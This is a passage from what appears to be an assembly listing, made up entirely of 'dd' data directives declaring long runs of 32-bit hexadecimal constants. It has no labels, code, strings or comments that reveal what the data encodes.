0F74A215Bh, 0D65D9F00h, 19BCBD26h, 201548F5h, 3FCB2060h dd 0D00A51B7h, 0E4CF5DCAh, 5BC01B9Fh, 3FBBA62Ah, 1AAB006Eh dd 0C1F616CCh, 0B705B407h, 624FE919h, 3D23D06Eh, 0D85FCF00h dd 73873BD7h, 168E019Ah, 0B426CEA4h, 2B9193F8h, 9EC3C00h dd 7B5B18Ch, 0A77D39C8h, 4BD06329h, 0FF681FF9h, 0C5885964h dd 5F248260h, 5B102110h, 0C98036C8h, 0E3B924BDh, 8CBA0094h dd 3DE76DDBh, 1A0AA9A4h, 0B8BD0961h, 7F9C22C0h, 0B4F551CDh dd 4D00B80Ah, 0BEDD9F68h, 0F44D1574h, 0C94F016Ch, 0C30D6E7Dh dd 7728CE4h, 5F1C9B7Ah, 37822F8Eh, 0F4826250h, 0B08082D6h dd 7A76E1B4h, 0D828218Eh, 0A724298Fh, 58E8F821h, 24008066h dd 45A91305h, 0A41B096Ch, 9FF80464h, 3865CC31h, 9C1E0F7Bh dd 0A78AE192h, 0F8288C8h, 9DDC893Dh, 0E8FC1B88h, 48F5FBF7h dd 0FC52F6EAh, 0E0F7F22h, 85ECC929h, 0AF05C172h, 0D43A3B26h dd 14003C23h, 0AB3D5EADh, 3A9E09DDh, 5C1044C1h, 0B400389Fh dd 59180B39h, 6715E7Bh, 99D80377h, 0F32CD908h, 418054AEh dd 157B7F55h, 21721625h, 0D30C5DEDh, 0B900EFF7h, 0F1E316D0h dd 0A7741FE7h, 8008EC2Dh, 82CAB15Bh, 800E5CCh, 0CE7A9020h dd 768A1309h, 0EC9F13D4h, 7964005Bh, 339544B1h, 98F33B1Fh dd 63A22880h, 147C8BC2h, 0CCAF2E49h, 3B431FBCh, 0F9DE7D00h dd 935186B6h, 8FA9F405h, 0A488725Bh, 0BD7852h, 7D0CE514h dd 0A1204483h, 0E6707472h, 8F7FD013h, 0CC10E03Bh, 684CC00Eh dd 0DF0402h, 183DE828h, 0A92FA25Ch, 9D014CB2h, 69235BD2h dd 20703056h, 53E501ECh, 0F1CF276Bh, 21718197h, 68433E4Fh dd 28C19441h, 43035E9h, 4E82038Fh, 227E4698h, 0A60E203Fh dd 6D0A4CDCh, 0FD58206Ah, 1E0CF7D9h, 40EAC81Fh, 34407217h dd 5B86EEA8h, 66D60326h, 4A75DFADh, 40E80818h, 4B2120h dd 3EE1B58h, 0B1706452h, 0CC7DB24h, 0DE618900h, 0B4014BCh dd 7231B5D6h, 4F579081h, 74E434DDh, 46D2070Fh, 0D79818B6h dd 90DBFCA4h, 0F16C1F78h, 0F42CDCh, 4F1F6F35h, 0F0B217FAh dd 940AC892h, 58731946h, 825B5280h, 86D486D6h, 35F43D54h dd 0A45B9A00h, 4F9EF048h, 55C212BFh, 0DF54402Dh, 13D494C8h dd 18FF1CB2h, 7D9F04FCh, 328905CDh, 0F27F2042h, 772B19Fh dd 2171500h, 0C12B91BDh, 68A80D71h, 2259B021h, 3342F290h dd 0F313D9A0h, 966640Fh, 16554EA9h, 49C57000h, 1F366B14h dd 81DEB6h, 5FC31345h, 413840D9h, 32AE80CAh, 30E1E7F8h dd 0D885003Dh, 0D65F3658h, 4B07431Eh, 0ADA5244Fh, 0CED4E180h dd 556E3B7Fh, 56042001h, 0C0163CB2h, 44750A92h, 667E7FE4h dd 82767300h, 0AF34F3EBh, 0A535E455h, 0C440FD04h, 1586A50h dd 76B49A67h, 83B14B28h, 7E220220h, 0F4287CDCh, 18B96F90h dd 97CC7C7h, 0F3685C10h, 7A97F403h, 0D01D4A76h, 0E8C8D0h dd 54946353h, 35EEC756h, 0F2FA3240h, 0DEE10034h, 0E2A95EE3h dd 9700B64Eh, 0BB797D38h, 80AE3FEAh, 120066B5h, 7C0B5CD6h dd 0C17F96h, 4D1638DFh, 0BD487718h, 5CFCA008h, 920F80ACh dd 0F54EB184h, 34984C07h, 0A444BB7h, 0A0896840h, 6F7EBF7Ah dd 0DE2C1101h, 71360321h, 305C7442h, 0C90F2EACh, 4259B113h dd 0A15ACED9h, 0A71B389Ch, 603E598Ch, 0CA00C641h, 2D926CB1h dd 384A4672h, 5000F6Ah, 8433DFAAh, 32008096h, 0B17EC451h dd 2A648171h, 0C89A3Ch, 0CAE1F88Fh, 0B44E3C0h, 0D4841600h dd 0CD23922Bh, 0A57700F9h, 0C7C91E82h, 4A008F71h, 3F3D18BCh dd 0DC8DE8h, 325B9669h, 0B17CACEEh, 7F8FA501h, 993470F0h dd 9B8BD982h, 0F086742Fh, 0A53D79B0h, 5FD9186Dh, 2C4710h dd 0AB178A40h, 26749BC9h, 0E9947200h, 3E853846h, 0CE39CA9Dh dd 97EB00F3h, 0D21260DEh, 10001AFAh, 505EB01Fh, 0B4E432h dd 0E517C269h, 0E69F6AB6h, 0CB83D52h, 4CEE148Ch, 6E2E3E8Ah dd 1BC4728h, 64A21791h, 80942883h, 75C4E5B9h, 0C068BF47h dd 4473BE50h, 0F0FA54ABh, 7FB49001h, 0C78788EEh, 1C33057Bh dd 0E4704A52h, 5C68B120h, 442180B4h, 24A58C0Dh, 94D30F54h dd 405F4AC8h, 786CCB67h, 0C2E176BAh, 0F8914C4Bh, 3C18074h dd 3EC00D3Dh, 68871E6Ch, 0F8888692h, 0BAE4214Ah, 0CB69F907h dd 0C6E79C4h, 0C051506Ah, 0F9CEB499h, 6C001B2Bh, 310C9199h dd 4875C2BCh, 8C81D454h, 24D202A6h, 33B8FB8h, 3A0E18D7h dd 0B1C391h, 0D0CD99F7h, 609283F3h, 0D11A24h, 0F5B57500h dd 0E49701C6h, 79A6621Ch, 444C92A0h, 420CEF48h, 0F961015Ch dd 78FCCB68h, 21C0480Ch, 97F9C9BBh, 2CFB0211h, 9B0E27CCh dd 5D33D4A0h, 9D00DBEFh, 1C1FA6EDh, 608790A7h, 6E15D139h dd 0F059E35h, 0BBA82B7Bh, 204AE449h, 9BE74A8h, 29E33E11h dd 196CDE9Ah, 0D8200442h, 0DAD9F2CCh, 8A043Eh, 7F58F49Fh dd 1C9ADC6Fh, 0C9D6524Fh, 940220B6h, 2400738Fh, 53D0FDDh dd 0FBAFC3F2h, 48A854AEh dd 6C404C51h, 0E831886Dh, 0BA08A8B7h, 0E72600ACh, 0DBF3344Ch dd 0FF495C4Bh, 8B5E00FCh, 9DF821BDh, 6A040057h, 0BB78BC5Fh dd 0F7064CBAh, 15B3791Fh, 83311280h, 3EB049DAh, 78E88010h dd 0CD14B200h, 0CE329788h, 7C733CDFh, 31025E05h, 75D8445Bh dd 0A48CC80Fh, 0C61C5200h, 34AB9105h, 0EB8F1831h, 8956D1ADh dd 69072F7Dh, 0B7B33BD1h, 0CCB02D00h, 902B0009h, 0ACCE7BA1h dd 0A3545D1Fh, 9F0036A8h, 0D94CF2CAh, 11C6417h, 1F316324h dd 8A1697C9h, 0C4490FC0h, 0A000F9A4h, 40DA29FFh, 0FEBA0369h dd 8E417565h, 0A109A679h, 0B05A792Eh, 12359544h, 4F5F04BCh dd 0F460CF6Ch, 0DBB22E92h, 0DAB74803h, 0DF4D12h, 3BE604C9h dd 0FD82C6Dh, 0DC6B6307h, 0FDC5C1FCh, 0A60ED803h, 0B09000ADh dd 0F27E5BABh, 0C700B3D8h, 0E7A43ECCh, 0A9F4FC9h, 0AFF0668Eh dd 0FBB009ECh, 0F480E09Ch, 1904AAB7h, 0BDC760F5h, 0EEE6E481h dd 0F9046C0Ch, 7894CB73h, 0D0038A2Ch, 914EA7F9h, 15A99002h dd 0D94001B3h, 0B8A504B5h, 36CC2092h, 0B17D0302h, 0C498DD76h dd 96C52C34h, 0C93B010Eh, 308ECEB8h, 0AA044EECh, 0EEAEBB1Ch dd 2C30B8C8h, 5BDAFCh, 3216D1F2h, 121C3E71h, 5380F045h dd 9552BC7Ch, 162CB073h, 60D0A0BFh, 0AD849E90h, 4B954E10h dd 9DC56CB0h, 228B6900h, 8164866Bh, 44449057h, 2419BD52h dd 0CF119DB2h, 13D7B6D4h, 148F98E1h, 140060DCh, 2598A9Eh dd 0DC407B3Bh, 68B74C76h, 4F3C8D83h, 0DEDF1900h, 8CAADDE5h dd 0C8FD00EBh, 5EA0367Ch, 45315CC3h, 878D6950h, 0F1F848h dd 0FE702A8Fh, 7A2B0205h, 4F753200h, 5F15666Bh, 9F173971h dd 1FA4BB01h, 62EF5591h, 38A00D0h, 577F3263h, 3DA100B0h dd 3115CF40h, 0B3027DC2h, 0C4C89117h, 0A0C676Ah, 8084533Eh dd 0A6D7E85Bh, 0D301A519h, 3CBF0A2Bh, 0C5DCFAD9h, 13F10BA3h dd 342567ACh, 65B04F05h, 0E2FFFA40h, 0A006B84h, 0A0D2F0DCh dd 13DDBE4Bh, 77D51D6h, 91C0BF38h, 9411574Ch, 1FB4D490h dd 311DFBFCh, 22511659h, 0E330F031h, 10A258F4h, 6C105D8Bh dd 560004E3h, 0A6094229h, 153C0A74h, 0ACAB9F2Ah, 0A543C901h dd 0CEF828A8h, 333739C0h, 0D6D25500h, 1F619AEFh, 9D59C08Bh dd 5D38E92Bh, 0E84D8A13h, 0FBCF3820h, 3CFF0054h, 7111F776h dd 0F790261Dh, 4C772A00h, 736DEB84h, 803899BCh, 1FCD500Eh dd 0C7712BBAh, 16583802h, 0A3B9E193h, 0D8B69FB0h, 9CA27FFh dd 3389DE9Ah, 8DE82013h, 2C98479Fh, 2C38803Ch, 0C5926C1Fh dd 0C002DC1Bh, 3EB4512Dh, 4E80598Dh, 9A1F8903h, 0C80EBB4Ah dd 0E0F6A257h, 9D443DC7h, 0F858D0B5h, 0C92DA506h, 650339FDh dd 0C48126CFh, 1FE6C08Bh, 492E6F30h, 8CF6477Fh, 8D6F7094h dd 0B72A0E1Ch, 801C18CBh, 0FC8153D4h, 3BABBB95h, 8FBC080h dd 0CCD0DFD7h, 1700B87Ch, 0B510A1D8h, 70AE0CAAh, 0AB590393h dd 4A77369Fh, 0A7BB41E0h, 0E786CB01h, 0A23562DBh, 6E10C883h dd 0C993679Ah, 0A0A1B83Fh, 129C00BCh, 0B791946Dh, 349A6433h dd 31A85E1Fh, 3511E17Dh, 9120C8B6h, 0A7372CDCh, 7A8C114Ch dd 29408800h, 0CDB8DDEDh, 0E1A4059Ch, 0C9EA8AA0h, 517CF03Ch dd 79251A07h, 5B00BC30h, 15E67271h, 0D8B0FAF3h, 424E0E16h dd 9467DD7Ch, 0C13CE883h, 9F968FF8h, 99E89516h, 9D433000h dd 32DC817Fh, 8D293DE1h, 0F30DD910h, 109CCF01h, 81F7FFACh dd 449D0829h, 22847B11h, 5542F120h, 10128C11h, 0CD039BA7h dd 0D2931C19h, 75911ED0h, 0FA11AF1Eh, 624604C1h, 8801B78h dd 2B924F3Ah, 0C61CA6CEh, 0B400CC8Ah, 0B8ACD0B1h, 23D90722h dd 771BB9FBh, 388305Bh, 0E73CF860h, 0EBDD00BDh, 0E4F96369h dd 0F5F96h, 7DB80414h, 5A000EBEh, 31472423h, 5C374488h dd 0E707A338h, 1A2AB14Bh, 6C5080D0h, 60B39E2Fh, 2B07DF00h dd 884EF01Fh, 0DC5E0010h, 3CABAC4Fh, 623C4B89h, 0CD4C37h dd 756B3245h, 1261FB6Eh, 0AC8DD8h, 8FD0ED04h, 68001571h dd 97010265h, 5C0B7ABFh, 797CFAF1h, 7B2B77CFh, 7DF626B6h dd 1981008Fh, 538F3AF4h, 2A987B18h, 980CD720h, 545C0047h dd 0C2B90B70h, 880F4432h, 60B6C809h, 1076F4BDh, 0C3B0C0F3h dd 0DCCC387Eh, 58D99C00h, 8AAA797Bh, 6AA501D6h, 7108DDE7h dd 2075DCBDh, 0CC736200h, 6B65CA4Fh, 0F80B009Bh, 0FFAEBABh dd 1C0E0416h, 0E0D378BDh, 416F0515h, 8C5F00C1h, 0CA83F86Ch dd 5201D4BEh, 1A7035FBh, 0A840824Ch, 7E6730Dh, 135111EBh dd 1653A10Eh, 8B89E00Ah, 0F903A000h, 0E8A3C488h, 1C700Bh dd 0F5DE0CE4h, 0FDE9BAFAh, 11915601h, 7D987C57h, 48C0A231h dd 487A48C1h, 0A56A9607h, 0FA6B4016h, 9F025E85h, 0DC74030Eh dd 4094802Dh, 14D35CF6h, 8CEC21CFh, 9F63E21Dh, 0DA33408Bh dd 7BAE2B8Dh, 479BB41Eh, 0A60CE8A8h, 211B7046h, 0C0D500F4h dd 0FF7E7764h, 0B1139AB4h, 0A840E85Ch, 0A9DDB2EAh, 0AE621F2Ah dd 8870CED9h, 2F896DFh, 4D42D0BAh, 473E080h, 9E00A98Ah dd 7057941h, 3F55C1h, 1EC5EFC8h, 0B38DF4BEh, 195DCE1Fh dd 0A58BE640h, 3FC9D85Eh, 398301CAh, 826B53AAh, 138506C0h dd 0C4B3E81Fh, 20C5578Fh, 0E41F7058h, 4B750E21h, 0A3EEA5ACh dd 88EF6760h, 20A86E5h, 84995228h, 696E300h, 3F204BB5h dd 7C733C6Fh, 53C090A0h, 833EA4E8h, 561BC080h, 0A773F6EDh dd 9800E6F0h, 0B178893Fh, 4C41D7h, 4E8EDAA5h, 1590EB7Ch dd 369D9301h, 0DFF84082h, 18669BCCh, 85692CAh, 0A5006934h dd 0DDFD77ABh, 0A3D868h, 0D3A29136h, 13E0C0C1h, 9E05A616h dd 724A6C00h, 73F4BBh, 14F77D68h, 39D8788Fh, 0CEAC7406h dd 3087A98h, 0CF2A75Ah, 96A0076Fh, 9B00E173h, 0AC0D4791h dd 41B7982h, 58BADDDEh, 0E320C05Eh, 0B41F9A1Ah, 242651D1h dd 4798003Dh, 0A5F837ECh, 528A0092h, 0C3D0DCF3h, 5B007BEFh dd 1E6D1B98h, 77F209CEh, 0BA1739B6h, 0FD37C003h, 7DF08380h dd 2C000B1Dh, 35239AE1h, 7AF24868h, 0BA7F6Ah, 8065A682h dd 9C61B0E7h, 42CEA92Eh, 7FC65900h, 2411F1h, 0AF883DC9h dd 0D8A6A17Bh, 719AB91Eh, 6718F418h, 9E480C5Dh, 3F10F96Bh dd 2DEA871Ch, 0C3950D4Fh, 0D8B530BDh, 50C3B43h, 847B6BCAh dd 7050879Ah, 8D36D1Ah, 0BFB06F02h, 43639CA1h, 8C118058h dd 494A01FEh, 59B101A3h, 6CA42481h, 666D1300h, 5EBC2AF6h dd 0A670ED6h, 3C20308Ah, 0E5E8DBC0h, 0E1FC8F00h, 95A99B82h dd 0EB3604D5h, 803FC4A8h, 480D04EEh, 92B1FF00h, 0ABE52B60h dd 0E3C0260Bh, 0DE9E0299h, 4C7AC636h, 0FE160200h, 45A8841Ch dd 22F4004Ch, 0B1F772B8h, 62005AEEh, 0B6D666BFh, 9278B7Dh dd 417C9655h, 17FF080h, 89002CCFh, 2F5C83E2h, 0F56340h dd 0E6540D27h, 0CF7AD491h, 4BABF901h, 670B6BCCh, 1ABA9050h dd 1B6000AAh, 0D3F90503h, 0DF00138Fh, 24193ACEh, 1D685761h dd 0C0D9FBF1h, 0E1820DC3h, 3D009636h, 6AEB3915h, 7550E9h dd 21381BB1h, 51723C2Eh, 0A4998800h, 641D2AE4h, 60C10EC3h dd 0A080DA07h, 0B5E09CF3h, 80824E3Fh, 59E95A44h, 6D6324h dd 2F47C4E3h, 0B0B990F6h, 4E6BD800h, 6A7A3FADh, 70A0746h dd 0BBE92708h, 6F805E00h, 250073C4h, 48752D6Eh, 3923DEh dd 4CF48A3Fh, 5F3D282Eh, 80E91400h, 9EE7901Eh, 37D700F0h dd 3F3B10DEh, 0F9FCC081h, 0DBE94E00h, 87194C84h, 3286179Eh dd 2354003Dh, 2F1098EDh dd 0EA8EC802h, 426DEF2Eh, 9080C86h, 0DCE5009Ch, 1983EE98h dd 0B8137163h, 2E0055E3h, 0B3495BFEh, 0FA2D00CDh, 0C999FD18h dd 0F026F93Ch, 0F88EACA3h, 9F684023h, 249B30CBh, 3FBC04E9h dd 7C062E00h, 0AA6B9A8Ch, 0A3F46F00h, 60F1E088h, 798D1EEFh dd 0BE1A000Ah, 9B2B4D25h, 0FA75907h, 2DF0AD8Bh, 0F44D8D4h dd 0CED23646h, 243001ACh, 71184201h, 569B9A62h, 0C1C85F4h dd 8A9369Eh, 0BF00A620h, 6901D09Ch, 3B604D3h, 0AB022518h dd 88B1716Fh, 9D5B7053h, 17D2C500h, 21A97C1Fh, 0DF3D008Ch dd 26C8C406h, 0B101620Bh, 0D1AFC222h, 6C604F86h, 0D7BA0068h dd 0C533874Ch, 600E2942h, 20C824h, 892BC70h, 0F211EADFh dd 170D0048h, 0BDC866ADh, 1C1D4D28h, 0E6807F86h, 8B7926F4h dd 663A1355h, 42B707E8h, 7E58A0FFh, 0E37B7321h, 828F6812h dd 0C0E1A800h, 13EAE47Dh, 70E4427h, 0E1544A48h, 0D4AADB90h dd 163B7633h, 5E1F05B0h, 6BC0A956h, 1E73A27Dh, 1E4723D1h dd 0A0440066h, 8C96D793h, 27045405h, 0ECA0064Eh, 88DF5CC1h dd 0ACA66180h, 0D79831F2h, 8007B678h, 0D86B7967h, 0BB8189D0h dd 0EE69009Ch, 5D3F41B8h, 0C000874Fh, 4D0E971Ah, 7A5E802Ch dd 0AD7E00BBh, 0F7FF3F6Fh, 0C84E2905h, 3C8E7005h, 0C33004C3h dd 433AA006h, 5D763F19h, 5C7FAA8Ch, 13001E09h, 43B614D2h dd 0B772CAh, 18EEC8EDh, 0BC4D0519h, 2842F002h, 8162F4BFh dd 0F7225FF0h, 48003C28h, 0D3BE754Bh, 9F00A316h, 6188F50Ah dd 190E974h, 18C2D723h, 0D1AA7662h, 45984098h, 0F3000A27h dd 95EFDCF2h, 0EAA0DFh, 83468B50h, 0B716BE2Ah, 0A8F3F000h dd 679FD66Bh, 0CC041852h, 3702F8A7h, 3CD068C0h, 0BD6593h dd 8F47D53Eh, 0A8CC9522h, 7A9E5A1Fh, 767865h, 2943988Eh dd 285DDFB2h, 9F644501h, 94C5290h, 1BD9CC8h, 8381702Ch dd 3802DDD8h, 0F4200028h, 0C5C410CFh, 46D4A911h, 713E5D0h dd 55A6E402h, 0C097C5AFh, 761D16C0h, 705A7D07h, 20509BA3h dd 1D3B5C6h, 2DD189B2h, 0F4D4E8B6h, 42005073h, 933A1DADh dd 0E2C24CA4h, 0BD46006Bh, 0E801AC0Eh, 0F1028FCEh, 759593B0h dd 0D39FE068h, 72F83Ah, 5BB15F81h, 1018F670h, 0D9C0CF00h dd 6AD5ABD7h, 6B120273h, 8C2AE596h, 0E05260C8h, 5CD3E800h dd 0D7AB4049h, 909F7691h, 586B0010h, 95419932h, 6E02486Ch dd 0F88EDD46h, 14245290h, 8F2527E4h, 0A8C8628h, 0B3624858h dd 33660180h, 7516898Dh, 30FAF41Ch, 45703B00h, 0C13ED5D8h dd 5E463C77h, 6A055BFh, 98E27800h, 7AE11FD1h, 0F7230096h dd 5CF0E776h, 7E1EBE69h, 1180BFE3h, 0E075DBBAh, 835200C8h dd 0B6F36BD7h, 0F076A44Ah, 0D0193000h, 7B04EA26h, 60C8C0BEh dd 0F5834EC7h, 8101B876h, 0D1A4E75Eh, 9420BBF6h, 5DCF12EDh dd 0BA48A034h, 0F32DA23Fh, 47A8D703h, 0AAABCCC5h, 529883E5h dd 4B0930E9h, 9F5A3820h, 22455301h, 0F7418771h, 9F69DFCh dd 0DDB6A6Bh, 41AF8484h, 0BEB4E84Fh, 6C0BD02Ch, 8D00B6A4h dd 1140A2Ah, 30475400h, 67FB7766h, 744E736Eh, 768E1E9Bh dd 52FA803Eh, 0D6BBA475h, 0EC518628h, 800D1B3Ch, 845C9357h dd 1A686Fh, 5F7C9A50h, 7B21F839h, 224C8500h, 0D45A096Bh dd 4B6D0433h, 0C0B7C707h, 0BF9E3ECDh, 0A2027A05h, 0F8042ACEh dd 58F07DD6h, 777300FDh, 0C907B171h, 0E5009D24h, 38BA13B9h dd 0A0166Eh, 0F5F66785h, 9218ACC6h, 80D8903Eh, 6A8D2095h dd 0FF540CEFh, 58CCD7F1h, 0CD630004h, 0B2AC68D3h, 4E1D02C7h dd 0B418E5DAh, 8071C670h, 0EB2467C4h, 0CD00A04Dh, 4866B18Bh dd 556800F2h, 50941D09h, 320CF720h, 981ABE82h, 0B40B5C79h dd 2C87A1Dh, 678B3CCBh, 0AF9064E3h, 401D74B2h, 0C440FE35h dd 0F834E479h, 8DA81289h, 126080D0h, 0BB00B1D3h, 0B2873785h dd 4CDB43h, 4B35AA3h, 6278957Fh, 82C65F00h, 461CEE2Fh dd 0C9F509B0h, 14A02EEDh, 0EDF039Ah, 0CD681B00h, 0FF5864F9h dd 25E948A7h, 73A64700h, 8FB09B65h, 4ADB8600h, 0C3E73CB4h dd 419E1D79h, 853680EEh, 37E36C0Dh, 39A85C60h, 739A74B3h dd 0BA71195Dh, 71EF8902h, 8BA8D3CBh, 0F00099BCh, 0A4473F63h dd 5E65DA4Dh, 46400059h, 2106C631h, 5E494E00h, 16E626ACh dd 8B0524E7h, 77400FEAh, 0BEA079CFh, 0BB4CA788h, 0D4BCD1Eh dd 5E83E140h, 0D99337h, 9EFD78Dh, 57CE7601h, 0A80B8A00h dd 0EBA1C002h, 6EF40EB0h, 2018BD8Ch, 9A00A4D4h, 0FECB907Ah dd 5008E761h, 2029499h, 0A0660E92h, 4870B2DDh, 593F903h dd 0A3CAAD34h, 64C0E51Dh, 9C879h, 974EC12Eh, 1BEC6AE4h dd 7B058000h, 0CE828A56h, 3620F398h, 0CA9A3DE5h, 0D086F88Fh dd 3997C2C0h, 632DB1FEh, 22180FC8h, 0C282BFD9h, 746840CAh dd 0E344001Bh, 11ADED9Ah, 0A0F3FE4h, 8047CB69h, 5EA9A87Bh dd 0E0EC5FCFh, 8C0F2DFFh, 18723ACh, 296A3738h, 0C0D64880h dd 0E175DEEBh, 3033FC00h, 8D2278FBh, 0B489014Bh, 0F623DB36h dd 0BD8FC72h, 7D3FBE00h, 4B7B95B8h, 1B1F00F5h, 0EF6558BCh dd 0DCA0FC22h, 53399A72h, 756680D0h, 64BE3C9Fh, 0C33E0E40h dd 918FB7Dh, 0F037CEC2h, 10BB80A4h, 7F50D8h, 8120E045h dd 0D21C535Ch, 1B04CF75h, 0D354EB88h, 0A6C1F8B3h, 60A18746h dd 0A400C607h, 99364362h, 0E2BF757h, 0D36C9A8Ch, 28BB003Dh dd 0B6198960h, 31B08801h, 49E8322Dh, 0BE413080h, 0D6CF4248h dd 6BD3B900h, 3E484ADh, 5F5E0007h, 0D78858C3h, 0A2005D1Ah dd 10512767h, 0A462C0h, 0F8EF435Bh, 1814DC63h, 3000B04Fh dd 0FD90AF9h, 84EA0F2Fh, 792136D8h, 0C8C2CC20h, 43008A41h dd 687CE340h, 2850Dh, 764435FAh, 8DDB6721h, 7D60B607h dd 0CED05306h, 2E034F19h, 10035C0h, 4D8B1296h, 0A15CD017h dd 5BD4E600h, 460A508Ah, 606B3ACCh, 0C93C005Bh, 4C48EEB1h dd 0F9A89800h, 0B2FBD1A1h, 89030h, 0A98E09BBh, 5EBC26DFh dd 6B74257Fh, 0E737FD1Fh, 5AEF040h, 0EDD8DDAh, 46221B35h dd 0D08A0C41h, 1C18BD08h, 98004870h, 29EA5ABh, 0CB04833h dd 0F4871C27h, 0DAB401D1h, 2B6EE973h, 69EE4200h, 0F3F6159Eh dd 0E26E3F8h, 86AEB95Ah, 9D6C6E0h, 0F016ECF8h, 0B8802ED1h dd 304E0A69h, 0D8B855CDh, 7600962Fh, 0A44FA60Bh, 7C1573Bh dd 7B4672CBh, 29ABF00Ch, 0A0B8859h, 0A05F1882h, 2CCE8DF3h dd 0FBE9030Fh, 366751ACh, 0F82D72E0h, 0BAE23F00h, 0A04698DCh dd 0F37900FFh, 0BB2FA8C3h, 737DC2AFh, 425B9C00h, 8356DCA2h dd 0E6F70F45h, 123E34h, 70358B0Bh, 0AB016DEDh, 1FBCC0C1h dd 1C647892h, 0CEE00BEh, 0F6F44680h, 0ED00687Fh, 366AC8C9h dd 0C08C291Ah, 0F7034E09h, 93002898h, 7D27E1A5h, 0FCB1DBBh dd 0FC23711Eh, 2E04BD00h, 949050C5h, 0F46C0F09h, 7974EC1Ah dd 882B5D9Ah, 9BA80B76h, 88061FDh, 0E47E50D3h, 1FDE9700h dd 62D28E5Ch, 317600FCh, 58D1C1ACh, 3C002F6Ch, 29B69E24h dd 7AFA0Ch, 744A5FE1h, 0B785E6E8h, 381C2202h, 406DC488h dd 6AA080h, 117216D3h, 59AADD1Ah, 0C9453300h, 3A88314Ch dd 251909C4h, 0BE803665h, 4F939EA6h, 0F72500B2h, 0A24C0095h dd 1849319Ch, 0C02EC3D8h, 8200E1F1h, 0BF04BC86h, 0B8D9FAh dd 6646EDEFh, 4D8F6FFDh, 0C988B100h, 0DE0F709Ah, 6CFA02C5h dd 84A05960h, 0B03DA95Eh, 0CCA69180h, 0C4391C42h, 0F12C801Ah dd 0F5B6B1EAh, 1725FB00h dd 8DC0060Ah, 1D74480Dh, 0A3F84000h, 58A7A84h, 3000E8F0h dd 721AF37Ch, 602DCC4h, 0EC33E3EFh, 0CB0E903Fh, 208FB57Ah dd 8DFAF56Bh, 0A7D316D4h, 312C0783h, 8501FE59h, 20662740h dd 97008A7Fh, 1E5E123Ah, 389B5958h, 5F8787F1h, 4020A50Bh dd 2AA5B2Dh, 0DD830400h, 67335CDAh, 299039FCh, 0BFA9F380h dd 303F0AE6h, 9C5AC600h, 71AC8221h, 0DC7A58FDh, 3C5B9D00h dd 0A88B81CCh, 11AECE00h, 5AA7AABFh, 4C44789Eh, 0C401E07Ch dd 3468F64Eh, 91C8506Ah, 727557A0h, 94AC5Ch, 0E1E7BA25h dd 31CD1036h, 48606579h, 0DFADDCB7h, 72689A0Fh, 40FD80A8h dd 3FC97B5Bh, 0F8000E01h, 0DD90596h, 0EF2C989Ch, 1881E882h dd 0E27471C2h, 0EBA05ED8h, 3BDFE4h, 0F86D5D4Bh, 0B4E0D6F4h dd 0D531A900h, 5CC86684h, 7A9501F5h, 0DB93126Ah, 33CEDCADh dd 82ACB600h, 0C99A4091h, 0DAB10A85h, 0BBD0D9h, 0F6FF0F0Dh dd 0CD00B627h, 5D741653h, 3D19F3h, 26944815h, 0AF6D8671h dd 0DC337926h, 20CC070Fh, 32C7E876h, 7AB271E2h, 5D0607D2h dd 9EAD6AFCh, 53742D00h, 8DF02219h, 0B5893313h, 0A3B8E305h dd 0FC143CA0h, 356E05E4h, 2A4B2DAh, 0C7185C9h, 0CA98CCE8h dd 9A20A700h, 125BFD1Eh, 0AEDE3883h, 9BBA7400h, 0B20873FCh dd 4B85C305h, 7787BDC9h, 0A12AA3D0h, 80ACBEB5h, 8402866Ch dd 0F9073FDBh, 0E636A1Fh, 4750CFD0h, 2A69000Dh, 0B4BCC8DEh dd 0AF01344Ch, 6F19D4F8h, 1180A6EEh, 0F7B7163Ch, 0B4949810h dd 1B2C3500h, 0B319AAh, 0BB0F9329h, 5D4E6D56h, 0C7508095h dd 167920DFh, 1B53Ch, 5E9ED396h, 0A6062713h, 0F19577AEh dd 784C1E61h, 98484133h, 0D044F56Ch, 25F8FA1Ch, 0B507D67Eh dd 2E691A02h, 0F849B172h, 0A87430F8h, 9A605540h, 8895151Eh dd 0DDC71940h, 18B359h, 0A64F9043h, 0EBEC1050h, 0E03D3000h dd 277577E8h, 3659008Eh, 0B10FA6F2h, 0AA07CE74h, 700273BCh dd 0DCD37880h, 0EB4D0025h, 34226E31h, 350081A1h, 0E04CAEB8h dd 36AD64Fh, 0E7969E67h, 0CAE0CBEDh, 0B07B7A3Bh, 0D5360C00h dd 0A168EF9Ch, 0E88A1F6Fh, 3FE78210h, 4BE0B7A6h, 0B6E23B05h dd 0BADCFF1Fh, 4C634383h, 0A56A995Bh, 0F82405C4h, 0BCF60010h dd 7BE992Dh, 17B070B6h, 0A15A4F00h, 0A3D653AFh, 3BB900B4h dd 0BCDFF359h, 0F7007408h, 535B046Eh, 3CCDFB20h, 980F4AAAh dd 87A0212Ah, 2FBA5C8Fh, 7001F74Ah, 34E3F137h, 0E293045Bh dd 0B0CDA1ACh, 7CE0FBF0h, 29A639D5h, 904AB18h, 27070CDCh dd 28F14FBEh, 1C12A745h, 0A4CD98E1h, 0A0D6108Fh, 793E2095h dd 2DD86B00h, 0FBFD2785h, 998C7733h, 500968D3h, 4C9E9518h dd 4D69BD37h, 0D0452A78h, 1C05362Fh, 90215FCFh, 0B3F63DA8h dd 101FA550h, 2728602Ah, 48C08FBh, 2EBDB001h, 0AE3E261Ah dd 0C9738199h, 4E099472h, 0D5A7C01Ch, 0D0AF365Fh, 0F88A0C08h dd 682B1414h, 802F3519h, 96E21DB6h, 103E0050h, 0D2D3A957h dd 0BB07B96Ah, 8AED7197h, 320516Ch, 513234A3h, 4DAB6F87h dd 0D48E085Ah, 0DA3E08FAh, 34C4085Dh, 6E26B040h, 99B500ADh dd 325BBC4Ah, 4121B2C0h, 0B69B03B1h, 2498D0CCh, 0E888B019h dd 10B904C9h, 425E4A9Ah, 0AE790Eh, 0BD983280h, 0B6A548C3h dd 0F506B919h, 0CDE9A60h, 5C57356Ah, 0EC09CA61h, 0A072113Dh dd 56DFF8C4h, 598F0396h, 0BD64B554h, 19186976h, 68481AC0h dd 81C20035h, 0B462A05Bh, 0DC4B78D2h, 37D01BE1h, 0C2992C45h dd 0A8FE0E2Ch, 0D3C9B082h, 0CFE8304Bh, 8C383AAh, 0C09E7F49h dd 6C0E5048h, 7248C101h, 0EA551CFh, 0AB8CE25Bh, 0B8DDE0E5h dd 0CFBB0911h, 280A46Fh, 0FBF7934Ah, 3601AC0Eh, 0DE34474Dh dd 0C32D2EB0h, 90AE5518h, 1F96C60h, 0B140C408h, 0F675560Ch dd 0E1541CC8h, 6A090477h, 0D8FF2871h, 